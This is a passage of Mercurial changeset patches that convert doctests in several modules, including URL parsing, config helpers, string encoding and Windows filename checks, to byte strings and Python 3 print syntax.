-        >>> u.setconfig(s, 'float2', '-4.25')
-        >>> u.configwith(float, s, 'float2')
+        >>> u.setconfig(s, b'float2', b'-4.25')
+        >>> u.configwith(float, s, b'float2')
         -4.25
-        >>> u.configwith(float, s, 'unknown', 7)
+        >>> u.configwith(float, s, b'unknown', 7)
         7.0
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configwith(float, s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configwith(float, s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid float ('somevalue')
-        >>> u.configwith(float, s, 'invalid', desc='womble')
+        >>> u.configwith(float, s, b'invalid', desc=b'womble')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid womble ('somevalue')
@@ -602,17 +602,17 @@
     def configint(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as an integer
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'int1', '42')
-        >>> u.configint(s, 'int1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'int1', b'42')
+        >>> u.configint(s, b'int1')
         42
-        >>> u.setconfig(s, 'int2', '-42')
-        >>> u.configint(s, 'int2')
+        >>> u.setconfig(s, b'int2', b'-42')
+        >>> u.configint(s, b'int2')
         -42
-        >>> u.configint(s, 'unknown', 7)
+        >>> u.configint(s, b'unknown', 7)
         7
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configint(s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configint(s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid integer ('somevalue')
@@ -627,17 +627,17 @@
         Units can be specified as b (bytes), k or kb (kilobytes), m or
         mb (megabytes), g or gb (gigabytes).
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'val1', '42')
-        >>> u.configbytes(s, 'val1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'val1', b'42')
+        >>> u.configbytes(s, b'val1')
         42
-        >>> u.setconfig(s, 'val2', '42.5 kb')
-        >>> u.configbytes(s, 'val2')
+        >>> u.setconfig(s, b'val2', b'42.5 kb')
+        >>> u.configbytes(s, b'val2')
         43520
-        >>> u.configbytes(s, 'unknown', '7 MB')
+        >>> u.configbytes(s, b'unknown', b'7 MB')
         7340032
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configbytes(s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configbytes(s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a byte quantity ('somevalue')
@@ -660,9 +660,9 @@
         """parse a configuration element as a list of comma/space separated
         strings
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'list1', 'this,is "a small" ,test')
-        >>> u.configlist(s, 'list1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
+        >>> u.configlist(s, b'list1')
         ['this', 'is', 'a small', 'test']
         """
         # default is not always a list
@@ -677,9 +677,9 @@
     def configdate(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a tuple of ints
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'date', '0 0')
-        >>> u.configdate(s, 'date')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'date', b'0 0')
+        >>> u.configdate(s, b'date')
         (0, 0)
         """
         if self.config(section, name, default, untrusted):
@@ -1256,11 +1256,11 @@
         This returns tuple "(message, choices)", and "choices" is the
         list of tuple "(response character, text without &)".
 
-        >>> ui.extractchoices("awake? $$ &Yes $$ &No")
+        >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
         ('awake? ', [('y', 'Yes'), ('n', 'No')])
-        >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No")
+        >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
         ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
-        >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o")
+        >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
         ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
         """
 
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -227,15 +227,15 @@
 
     This helper can be used to compute one or more digests given their name.
 
-    >>> d = digester(['md5', 'sha1'])
-    >>> d.update('foo')
+    >>> d = digester([b'md5', b'sha1'])
+    >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
-    >>> d['md5']
+    >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
-    >>> d['sha1']
+    >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
-    >>> digester.preferred(['md5', 'sha1'])
+    >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
@@ -448,7 +448,7 @@
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
-    >>> v = '3.6.1+190-df9b73d2d444'
+    >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
@@ -456,10 +456,10 @@
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
-    >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
+    >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
-    >>> v = '3.6'
+    >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
@@ -467,7 +467,7 @@
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
-    >>> v = '3.9-rc'
+    >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
@@ -475,7 +475,7 @@
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
-    >>> v = '3.9-rc+2-02a8fea4289b'
+    >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
@@ -579,11 +579,11 @@
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
-    >>> d1 = sortdict([('a', 0), ('b', 1)])
+    >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
-    >>> d2.update([('a', 2)])
+    >>> d2.update([(b'a', 2)])
     >>> d2.keys() # should still be in last-set order
     ['b', 'a']
     '''
@@ -1240,24 +1240,24 @@
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
-    >>> checkwinfilename("just/a/normal/path")
-    >>> checkwinfilename("foo/bar/con.xml")
+    >>> checkwinfilename(b"just/a/normal/path")
+    >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
-    >>> checkwinfilename("foo/con.xml/bar")
+    >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
-    >>> checkwinfilename("foo/bar/xml.con")
-    >>> checkwinfilename("foo/bar/AUX/bla.txt")
+    >>> checkwinfilename(b"foo/bar/xml.con")
+    >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
-    >>> checkwinfilename("foo/bar/bla:.txt")
+    >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
-    >>> checkwinfilename("foo/bar/b\07la.txt")
+    >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
-    >>> checkwinfilename("foo/bar/bla ")
+    >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
-    >>> checkwinfilename("../bar")
-    >>> checkwinfilename("foo\\")
+    >>> checkwinfilename(b"../bar")
+    >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
-    >>> checkwinfilename("foo\\/bar")
+    >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
@@ -1994,15 +1994,15 @@
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
-    >>> parsedate(' today ') == parsedate(\
+    >>> parsedate(b' today ') == parsedate(\
                                   datetime.date.today().strftime('%b %d'))
     True
-    >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
+    >>> parsedate(b'yesterday ') == parsedate((datetime.date.today() -\
                                                datetime.timedelta(days=1)\
                                               ).strftime('%b %d'))
     True
     >>> now, tz = makedate()
-    >>> strnow, strtz = parsedate('now')
+    >>> strnow, strtz = parsedate(b'now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
@@ -2076,12 +2076,12 @@
 
     '>{date}' on or after a given date
 
-    >>> p1 = parsedate("10:29:59")
-    >>> p2 = parsedate("10:30:00")
-    >>> p3 = parsedate("10:30:59")
-    >>> p4 = parsedate("10:31:00")
-    >>> p5 = parsedate("Sep 15 10:30:00 1999")
-    >>> f = matchdate("10:30")
+    >>> p1 = parsedate(b"10:29:59")
+    >>> p2 = parsedate(b"10:30:00")
+    >>> p3 = parsedate(b"10:30:59")
+    >>> p4 = parsedate(b"10:31:00")
+    >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
+    >>> f = matchdate(b"10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
@@ -2156,27 +2156,27 @@
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
-    >>> test('abcdefg', 'abc', 'def', 'abcdefg')
+    >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
-    >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
+    >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
-    >>> test('literal:re:foobar', 'foobar', 're:foobar')
+    >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
-    >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
+    >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
-    >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
+    >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
-    >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
+    >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
@@ -2649,55 +2649,55 @@
 
     Examples:
 
-    >>> url('http://www.ietf.org/rfc/rfc2396.txt')
+    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
-    >>> url('ssh://[::1]:2200//home/joe/repo')
+    >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
-    >>> url('file:///home/joe/repo')
+    >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
-    >>> url('file:///c:/temp/foo/')
+    >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
-    >>> url('bundle:foo')
+    >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
-    >>> url('bundle://../foo')
+    >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
-    >>> url(r'c:\foo\bar')
+    >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
-    >>> url(r'\\blah\blah\blah')
+    >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
-    >>> url(r'\\blah\blah\blah#baz')
+    >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
-    >>> url(r'file:///C:\users\me')
+    >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
-    >>> url('ssh://joe:xyz@x/repo')
+    >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
-    >>> url('ssh://joe@x/repo')
+    >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
-    >>> url('http://host/a?b#c')
+    >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
-    >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
+    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
-    >>> url('')
+    >>> url(b'')
     <url path: ''>
-    >>> url('#a')
+    >>> url(b'#a')
     <url path: '', fragment: 'a'>
-    >>> url('http://host/')
+    >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
-    >>> url('http://host/#a')
+    >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
-    >>> url('http:')
+    >>> url(b'http:')
     <url scheme: 'http'>
     """
 
@@ -2812,33 +2812,33 @@
 
         Examples:
 
-        >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
+        >>> str(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
-        >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
+        >>> str(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
-        >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
+        >>> str(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
-        >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
+        >>> str(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
-        >>> str(url('http://localhost:80//'))
+        >>> str(url(b'http://localhost:80//'))
         'http://localhost:80//'
-        >>> str(url('http://localhost:80/'))
+        >>> str(url(b'http://localhost:80/'))
         'http://localhost:80/'
-        >>> str(url('http://localhost:80'))
+        >>> str(url(b'http://localhost:80'))
         'http://localhost:80/'
-        >>> str(url('bundle:foo'))
+        >>> str(url(b'bundle:foo'))
         'bundle:foo'
-        >>> str(url('bundle://../foo'))
+        >>> str(url(b'bundle://../foo'))
         'bundle:../foo'
-        >>> str(url('path'))
+        >>> str(url(b'path'))
         'path'
-        >>> str(url('file:///tmp/foo/bar'))
+        >>> str(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
-        >>> str(url('file:///c:/tmp/foo/bar'))
+        >>> str(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
-        >>> print url(r'bundle:foo\bar')
+        >>> print url(br'bundle:foo\bar')
         bundle:foo\bar
-        >>> print url(r'file:///D:\data\hg')
+        >>> print url(br'file:///D:\data\hg')
         file:///D:\data\hg
         """
         if self._localpath:
@@ -3017,11 +3017,11 @@
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
-    >>> sizetoint('30')
+    >>> sizetoint(b'30')
     30
-    >>> sizetoint('2.2kb')
+    >>> sizetoint(b'2.2kb')
     2252
-    >>> sizetoint('6M')
+    >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
diff --git a/mercurial/windows.py b/mercurial/windows.py
--- a/mercurial/windows.py
+++ b/mercurial/windows.py
@@ -267,15 +267,15 @@
 _needsshellquote = None
 def shellquote(s):
     r"""
-    >>> shellquote(r'C:\Users\xyz')
+    >>> shellquote(br'C:\Users\xyz')
     '"C:\\Users\\xyz"'
-    >>> shellquote(r'C:\Users\xyz/mixed')
+    >>> shellquote(br'C:\Users\xyz/mixed')
     '"C:\\Users\\xyz/mixed"'
     >>> # Would be safe not to quote too, since it is all double backslashes
-    >>> shellquote(r'C:\\Users\\xyz')
+    >>> shellquote(br'C:\\Users\\xyz')
     '"C:\\\\Users\\\\xyz"'
     >>> # But this must be quoted
-    >>> shellquote(r'C:\\Users\\xyz/abc')
+    >>> shellquote(br'C:\\Users\\xyz/abc')
     '"C:\\\\Users\\\\xyz/abc"'
     """
     global _quotere
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504416937 -32400
#      Sun Sep 03 14:35:37 2017 +0900
# Node ID 2648725443624ba3137d74c7a99bf71b7d3df6dd
# Parent  0fa7813202034057501df4a90017d32f990b6b4c
doctest: replace .iteritems() with .items()

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -42,11 +42,11 @@
 def decodeextra(text):
     """
     >>> sorted(decodeextra(encodeextra({b'foo': b'bar', b'baz': chr(0) + b'2'})
-    ...                    ).iteritems())
+    ...                    ).items())
     [('baz', '\\x002'), ('branch', 'default'), ('foo', 'bar')]
     >>> sorted(decodeextra(encodeextra({b'foo': b'bar',
     ...                                 b'baz': chr(92) + chr(0) + b'2'})
-    ...                    ).iteritems())
+    ...                    ).items())
     [('baz', '\\\\\\x002'), ('branch', 'default'), ('foo', 'bar')]
     """
     extra = _defaultextra.copy()
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504417045 -32400
#      Sun Sep 03 14:37:25 2017 +0900
# Node ID 708b5530a273ab50594fa2eab5e8ebfdea7b48a0
# Parent  2648725443624ba3137d74c7a99bf71b7d3df6dd
doctest: replace chr() with pycompat.bytechr()

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -27,6 +27,7 @@
 
 def _string_escape(text):
     """
+    >>> from .pycompat import bytechr as chr
     >>> d = {b'nl': chr(10), b'bs': chr(92), b'cr': chr(13), b'nul': chr(0)}
     >>> s = b"ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
     >>> s
@@ -41,6 +42,7 @@
 
 def decodeextra(text):
     """
+    >>> from .pycompat import bytechr as chr
     >>> sorted(decodeextra(encodeextra({b'foo': b'bar', b'baz': chr(0) + b'2'})
     ...                    ).items())
     [('baz', '\\x002'), ('branch', 'default'), ('foo', 'bar')]
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504417138 -32400
#      Sun Sep 03 14:38:58 2017 +0900
# Node ID d4d4d11bac77df890c5d5bf01827d59056993f06
# Parent  708b5530a273ab50594fa2eab5e8ebfdea7b48a0
doctest: replace str() with bytes()

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -2812,29 +2812,29 @@
 
         Examples:
 
-        >>> str(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
+        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
-        >>> str(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
+        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
-        >>> str(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
+        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
-        >>> str(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
+        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
-        >>> str(url(b'http://localhost:80//'))
+        >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
-        >>> str(url(b'http://localhost:80/'))
+        >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
-        >>> str(url(b'http://localhost:80'))
+        >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
-        >>> str(url(b'bundle:foo'))
+        >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
-        >>> str(url(b'bundle://../foo'))
+        >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
-        >>> str(url(b'path'))
+        >>> bytes(url(b'path'))
         'path'
-        >>> str(url(b'file:///tmp/foo/bar'))
+        >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
-        >>> str(url(b'file:///c:/tmp/foo/bar'))
+        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print url(br'bundle:foo\bar')
         bundle:foo\bar
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504420947 -32400
#      Sun Sep 03 15:42:27 2017 +0900
# Node ID e9e225f1693295af54f54b86aa103fce8330d2ba
# Parent  d4d4d11bac77df890c5d5bf01827d59056993f06
doctest: pass encoding name as system string

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -268,7 +268,7 @@
     >>> print trim(t, 1, ellipsis=ellipsis)
     +
     >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
-    >>> t = u.encode(encoding.encoding)
+    >>> t = u.encode(pycompat.sysstr(encoding.encoding))
     >>> print trim(t, 12, ellipsis=ellipsis)
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
     >>> print trim(t, 10, ellipsis=ellipsis)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504421237 -32400
#      Sun Sep 03 15:47:17 2017 +0900
# Node ID 414a3513c2bd6d4d40eb85c103d7a68ffc1c6395
# Parent  e9e225f1693295af54f54b86aa103fce8330d2ba
doctest: do not embed non-ascii characters in docstring

Since the outer docstring is parsed as a unicode on Python 3, we have to
either double-escape or construct non-ascii string from ascii string.

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -247,6 +247,7 @@
     If 'leftside' is True, left side of string 's' is trimmed.
     'ellipsis' is always placed at trimmed side.
 
+    >>> from .node import bin
     >>> ellipsis = b'+++'
     >>> from . import encoding
     >>> encoding.encoding = b'utf-8'
@@ -285,7 +286,7 @@
     +++
     >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
     +++
-    >>> t = b'\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
+    >>> t = bin(b'112233445566778899aa') # invalid byte sequence
     >>> print trim(t, 12, ellipsis=ellipsis)
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
     >>> print trim(t, 10, ellipsis=ellipsis)
diff --git a/mercurial/store.py b/mercurial/store.py
--- a/mercurial/store.py
+++ b/mercurial/store.py
@@ -95,7 +95,7 @@
     >>> dec(b'hello~3aworld~3f')
     'hello:world?'
 
-    >>> enc(b'the\x07quick\xADshot')
+    >>> enc(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
     >>> dec(b'the~07quick~adshot')
     'the\\x07quick\\xadshot'
@@ -154,7 +154,7 @@
     'hello'
     >>> f(b'hello:world?')
     'hello~3aworld~3f'
-    >>> f(b'the\x07quick\xADshot')
+    >>> f(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
     '''
     cmap = dict([(chr(x), chr(x)) for x in xrange(127)])
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504418191 -32400
#      Sun Sep 03 14:56:31 2017 +0900
# Node ID a8994d08e4a289828f722edd31540458161a38df
# Parent  414a3513c2bd6d4d40eb85c103d7a68ffc1c6395
doctest: use print_function and convert bytes to unicode where needed

diff --git a/hgext/convert/filemap.py b/hgext/convert/filemap.py
--- a/hgext/convert/filemap.py
+++ b/hgext/convert/filemap.py
@@ -3,7 +3,8 @@
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
-from __future__ import absolute_import
+
+from __future__ import absolute_import, print_function
 
 import posixpath
 import shlex
@@ -18,7 +19,7 @@
 def rpairs(path):
     '''Yield tuples with path split at '/', starting with the full path.
     No leading, trailing or double '/', please.
-    >>> for x in rpairs(b'foo/bar/baz'): print x
+    >>> for x in rpairs(b'foo/bar/baz'): print(x)
     ('foo/bar/baz', '')
     ('foo/bar', 'baz')
     ('foo', 'bar/baz')
diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -62,7 +62,7 @@
 in the strip extension.
 '''
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import errno
 import os
@@ -155,7 +155,7 @@
 def inserthgheader(lines, header, value):
     """Assuming lines contains a HG patch header, add a header line with value.
     >>> try: inserthgheader([], b'# Date ', b'z')
-    ... except ValueError, inst: print "oops"
+    ... except ValueError, inst: print("oops")
     oops
     >>> inserthgheader([b'# HG changeset patch'], b'# Date ', b'z')
     ['# HG changeset patch', '# Date z']
diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -155,8 +155,9 @@
 
     Error:
 
+        >>> from . import pycompat
         >>> try: list(parsedag(b'+1 bad'))
-        ... except Exception, e: print(e)
+        ... except Exception, e: print(pycompat.sysstr(bytes(e)))
         invalid character in dag description: bad...
 
     '''
diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -5,7 +5,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import io
 import locale
@@ -248,60 +248,62 @@
     'ellipsis' is always placed at trimmed side.
 
     >>> from .node import bin
+    >>> def bprint(s):
+    ...     print(pycompat.sysstr(s))
     >>> ellipsis = b'+++'
     >>> from . import encoding
     >>> encoding.encoding = b'utf-8'
     >>> t = b'1234567890'
-    >>> print trim(t, 12, ellipsis=ellipsis)
+    >>> bprint(trim(t, 12, ellipsis=ellipsis))
     1234567890
-    >>> print trim(t, 10, ellipsis=ellipsis)
+    >>> bprint(trim(t, 10, ellipsis=ellipsis))
     1234567890
-    >>> print trim(t, 8, ellipsis=ellipsis)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis))
     12345+++
-    >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis, leftside=True))
     +++67890
-    >>> print trim(t, 8)
+    >>> bprint(trim(t, 8))
     12345678
-    >>> print trim(t, 8, leftside=True)
+    >>> bprint(trim(t, 8, leftside=True))
     34567890
-    >>> print trim(t, 3, ellipsis=ellipsis)
+    >>> bprint(trim(t, 3, ellipsis=ellipsis))
     +++
-    >>> print trim(t, 1, ellipsis=ellipsis)
+    >>> bprint(trim(t, 1, ellipsis=ellipsis))
     +
     >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
     >>> t = u.encode(pycompat.sysstr(encoding.encoding))
-    >>> print trim(t, 12, ellipsis=ellipsis)
+    >>> bprint(trim(t, 12, ellipsis=ellipsis))
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 10, ellipsis=ellipsis)
+    >>> bprint(trim(t, 10, ellipsis=ellipsis))
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 8, ellipsis=ellipsis)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis))
     \xe3\x81\x82\xe3\x81\x84+++
-    >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis, leftside=True))
     +++\xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 5)
+    >>> bprint(trim(t, 5))
     \xe3\x81\x82\xe3\x81\x84
-    >>> print trim(t, 5, leftside=True)
+    >>> bprint(trim(t, 5, leftside=True))
     \xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 4, ellipsis=ellipsis)
+    >>> bprint(trim(t, 4, ellipsis=ellipsis))
     +++
-    >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 4, ellipsis=ellipsis, leftside=True))
     +++
     >>> t = bin(b'112233445566778899aa') # invalid byte sequence
-    >>> print trim(t, 12, ellipsis=ellipsis)
+    >>> bprint(trim(t, 12, ellipsis=ellipsis))
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
-    >>> print trim(t, 10, ellipsis=ellipsis)
+    >>> bprint(trim(t, 10, ellipsis=ellipsis))
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
-    >>> print trim(t, 8, ellipsis=ellipsis)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis))
     \x11\x22\x33\x44\x55+++
-    >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis, leftside=True))
     +++\x66\x77\x88\x99\xaa
